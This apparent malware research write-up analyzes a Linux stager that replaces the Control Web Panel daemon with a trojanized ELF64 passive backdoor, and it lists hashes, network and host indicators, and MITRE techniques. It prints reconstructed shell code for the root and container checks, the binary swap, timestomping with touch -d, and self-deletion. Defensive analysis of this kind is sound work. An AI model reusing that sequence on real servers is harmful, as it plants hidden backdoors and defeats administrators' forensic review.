M3GATR0N/Researcher ← Research archive
Case file 003/Linux malware

CWPdoorBackdoor delivery stager

Technical analysis of a shell-based deployment chain that replaces the Control Web Panel server daemon with a trojanized ELF64 implant, restores the original timestamp, restarts the service, and removes staging artefacts.

Component
cwpsrv_update.sh
Platform
Linux/Control Web Panel
Payload
ELF64 server implant
Published
01/Overview

Administrative update flow turned into implant delivery.

cwpsrv_update.sh is a Linux deployment stager for CWPdoor. It checks for root execution, inspects the host through /proc, stops the Control Web Panel service, and substitutes /usr/local/cwpsrv/bin/cwpsrv with a trojanized ELF64 server implant.

The replacement daemon provides a passive web backdoor. Instead of maintaining a constant outbound session, it waits inside the web-panel service for specially formed inbound HTTP/HTTPS requests. The installation sequence restores the original modification time and deletes temporary files after restarting the daemon.

Primary effect: the malicious binary inherits the path and service lifecycle of the legitimate CWP daemon, allowing the backdoor to start when the normal management service returns online.
02/Findings

Five behaviors define the stager.

Finding 01

Root-only deployment

The script resolves the current UID and exits when it cannot obtain the privileges needed to replace the CWP daemon.

Finding 02

Container-aware execution

Kernel and init data under /proc are checked for container, Docker, or LXC markers before payload installation.

Finding 03

Daemon substitution

The active cwpsrv service is stopped so its binary can be replaced with the trojanized ELF64 implant.

Finding 04

Timestamp restoration

The original file time is captured before replacement and applied to the malicious binary after installation.

Finding 05

Passive HTTP activation

The implant waits for crafted inbound web requests instead of exposing a continuous outbound callback pattern.

03/Profile

Sample profile

Delivery stager

Filename
cwpsrv_update.sh
Type
Bash installation/environment stager
Required context
root/UID 0
Target
Linux hosts running Control Web Panel
Target service
cwpsrv
SHA-25675be2dbd8104e792ed67cb722a7bce19bb1bd53bac68d5b8d01395a7c59b4602

Installed implant

Filename
cwpsrv.suspeito
Format
ELF64 server implant
Installed path
/usr/local/cwpsrv/bin/cwpsrv
Operation
Passive HTTP/HTTPS backdoor
Activation
Specially crafted inbound headers/request data
SHA-2562937a4eaa81dbe77e0334b806e06bf65dde68eaea23849bb5da6370c67994266
04/Execution chain

From shell execution to service-backed persistence.

01

Privilege validation

The stager calls id and requires root/UID 0 before modifying the protected CWP installation path.

02

Environment inspection

/proc/sys/kernel/osrelease, /proc/cmdline, and /proc/1/environ expose kernel and container markers used to decide whether execution continues.

03

Service suspension

The script suspends the active cwpsrv and cwp-php daemons. The reconstructed flow uses systemctl or the SysV init script to stop cwpsrv before its binary is replaced.

04

Payload retrieval

curl or wget retrieves the replacement implant from 136.0.141[.]71 and writes it to a temporary staging path.

05

Binary replacement

The original daemon can be copied to cwpsrv.orig before the staged ELF is moved to /usr/local/cwpsrv/bin/cwpsrv, assigned mode 0755, and owned by root:root.

06

Timestamp restoration

The original modification time is saved with stat and restored with touch -d, reducing obvious timeline differences around the replaced binary.

07

Service restart and cleanup

The stager restarts cwpsrv, removes the temporary payload and deletes its own script, leaving the backdoored daemon active at the expected service path.

05/Backdoor operations

Inbound web traffic acts as the trigger.

Passive request handling

CWPdoor operates inside the substituted web-panel daemon. Normal administrative traffic passes without activating the implant; specially formed headers/request content trigger backdoor processing and command execution.

CLIENT → HTTPS request → trojanized cwpsrv
ordinary request → normal panel handling
crafted trigger → backdoor command path

Resolution and staging

The deployment chain uses 136.0.141[.]71 for payload distribution. The associated resolution flow includes a public resolver at 8.8.4[.]4; that address is shared Google infrastructure and is contextual rather than a standalone malicious indicator.

STAGER → payload retrieval → 136.0.141[.]71
RESOLUTION → public resolver → 8.8.4[.]4
IMPLANT ← crafted inbound HTTP/HTTPS
06/Technical flow

Reconstructed stager sequence

Environment and privilege gate

Shell reconstruction/execution gate
CURRENT_UID=$(id -u 2>/dev/null || whoami)
if [ "$CURRENT_UID" != "0" ] && [ "$CURRENT_UID" != "root" ]; then
    exit 1
fi

if grep -E -q -a "container=|docker|lxc" /proc/1/environ; then
    # stop inside a container-marked environment
    exit 0
fi

Daemon replacement and timestamp restoration

Shell reconstruction/replacement sequence
TARGET_BIN="/usr/local/cwpsrv/bin/cwpsrv"
TEMP_PAYLOAD="/tmp/.cwpsrv_update"

systemctl stop cwpsrv.service 2>/dev/null || true
REF_TIMESTAMP=$(stat -c %y "$TARGET_BIN" 2>/dev/null || true)
cp -p "$TARGET_BIN" "${TARGET_BIN}.orig" 2>/dev/null || true
mv -f "$TEMP_PAYLOAD" "$TARGET_BIN"
chmod 0755 "$TARGET_BIN"
chown root:root "$TARGET_BIN"
touch -d "$REF_TIMESTAMP" "$TARGET_BIN" 2>/dev/null || true
systemctl start cwpsrv.service 2>/dev/null || true
rm -f /tmp/.cwpsrv_update "$0" 2>/dev/null || true
Filesystem

Legitimate path reuse

The implant is installed at the established CWP daemon location instead of a new autostart path. Existing service configuration then launches the replacement binary.

Timeline

Metadata cloning

The original modification time is copied onto the replacement, making a simple directory listing less likely to expose the installation time.

Process lifecycle

Controlled stop/start

The service is stopped before file replacement and restarted afterwards, avoiding an in-use executable and activating the implant through the normal daemon manager.

Cleanup

Transient artefact removal

The downloaded temporary payload and installer script are deleted after the replacement service starts.

07/Evasion

Defense-evasion patterns

T1036.004/Masquerading

Maintenance-script naming

cwpsrv_update.sh resembles the naming of legitimate Control Web Panel update activity.

T1070.006/Timestomp

Original time restoration

stat captures the existing daemon timestamp and touch applies it to the replacement binary.

T1070.004/File deletion

Installer cleanup

Temporary payload data and the executing shell script are removed after the daemon is restarted.

T1033/Account discovery

Privilege check

id verifies that the stager has root privileges before it changes the protected service binary.

Environment checks

Container markers

The script reads /proc/1/environ and exits when it finds container, Docker, or LXC strings.

T1573/Encrypted channel

HTTPS-based resolution

Encrypted web requests are used in the associated update-resolution flow, limiting visibility from local plaintext DNS inspection.

08/Indicators

Indicators of compromise

File indicators

TypeValueContext
SHA-25675be2dbd8104e792ed67cb722a7bce19bb1bd53bac68d5b8d01395a7c59b4602cwpsrv_update.sh delivery/environment stager
SHA-2562937a4eaa81dbe77e0334b806e06bf65dde68eaea23849bb5da6370c67994266cwpsrv.suspeito trojanized ELF64 implant
MD5d3f4e95113d49ab3991b45e457bda75bRelated binary-staging artefact

Network indicators

TypeValueContext
IPv4136.0.141[.]71Payload-hosting/distribution endpoint on Evoxt infrastructure in the Netherlands
IPv48.8.4[.]4Shared Google public resolver used as a fallback resolution endpoint

Context: 8.8.4[.]4 is legitimate shared infrastructure. Its presence alone does not identify a compromised host.

Host indicators

TypeValueContext
Filenamecwpsrv_update.shInstaller/environment stager
Filenamecwpsrv.suspeitoTrojanized ELF64 server implant
Target path/usr/local/cwpsrv/bin/cwpsrvLegitimate daemon path replaced by the implant
Staging path/tmp/.cwpsrv_updateTemporary payload path in the reconstructed flow
Backup path/usr/local/cwpsrv/bin/cwpsrv.origPossible copy of the original daemon
09/Attack chain

Deployment sequence

01/Executecwpsrv_update.sh runs as root
→
02/InspectKernel/container markers checked
→
03/Suspendcwpsrv service stopped
→
04/StageELF implant retrieved
→
05/ReplaceDaemon swapped and timestomped
→
06/ActivateService restarted
→
07/WaitPassive HTTP trigger monitored